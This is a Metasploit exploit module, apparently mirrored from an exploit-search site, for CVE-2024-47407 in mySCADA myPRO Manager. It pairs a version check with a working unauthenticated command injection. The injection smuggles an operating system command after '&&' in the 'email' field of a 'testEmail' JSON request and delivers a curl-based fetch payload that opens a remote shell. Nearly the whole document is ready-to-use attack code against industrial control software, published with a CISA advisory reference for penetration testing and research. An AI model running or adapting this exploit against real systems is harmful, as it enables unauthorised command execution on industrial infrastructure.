Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-WINDOWS-SCADA-MYPRO_MGR_CMD-
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'mySCADA myPRO Manager Unauthenticated Command Injection (CVE-2024-47407)',
        'Description' => %q{
          Unauthenticated Command Injection in MyPRO Manager <= v1.2 from mySCADA.
          The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of the myscada9 administrative user that is automatically added by the product.
        },
        'License' => MSF_LICENSE,
        'Author' => ['Michael Heinzl'], # Vulnerability discovery & MSF module
        'References' => [
          [ 'URL', 'https://www.cisa.gov/news-events/ics-advisories/icsa-24-326-07'],
          [ 'CVE', '2024-47407']
        ],
        'DisclosureDate' => '2024-11-21',
        'DefaultOptions' => {
          'RPORT' => 34022,
          'SSL' => 'False'
        },
        'Platform' => 'win',
        'Arch' => [ ARCH_CMD ],
        'Targets' => [
          [
            'Windows_Fetch',
            {
              'Arch' => [ ARCH_CMD ],
              'Platform' => 'win',
              'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' },
              'Type' => :win_fetch
            }
          ]
        ],
        'DefaultTarget' => 0,

        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new(
          'TARGETURI',
          [ true, 'The URI for the MyPRO Manager web interface', '/' ]
        )
      ]
    )
  end

  def check
    begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'assets/index-Aup6jYxO.js')
      })
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
      return CheckCode::Unknown
    end

    if res.to_s =~ /const v="([^"]+)"/
      version = ::Regexp.last_match(1)
      vprint_status('Version retrieved: ' + version)
      if Rex::Version.new(version) <= Rex::Version.new('1.2')
        return CheckCode::Appears
      end

      return CheckCode::Safe
    end
    return CheckCode::Unknown
  end

  def exploit
    execute_command(payload.encoded)
  end

  def execute_command(cmd)
    exec_mypro_mgr(cmd)
    print_status('Exploit finished, check thy shell.')
  end

  def exec_mypro_mgr(cmd)
    post_data = {
      'command' => 'testEmail',
      'email' => "#{Rex::Text.rand_text_alphanumeric(3..12)}@#{Rex::Text.rand_text_alphanumeric(4..8)}.com&&#{cmd} #"
    }

    res = send_request_cgi({
      'method' => 'POST',
      'ctype' => 'application/json',
      'data' => JSON.generate(post_data),
      'uri' => normalize_uri(target_uri.path, 'get')
    })

    if res&.code == 200 # If the injected command executed and terminated within the timeout, a HTTP status code of 200 is returned. Depending on the payload, we might not get a response at all due to a timeout.
      print_good('Command successfully executed, check your shell.')
    else
      print_error('Unexpected or no reply received.')
    end
  end

end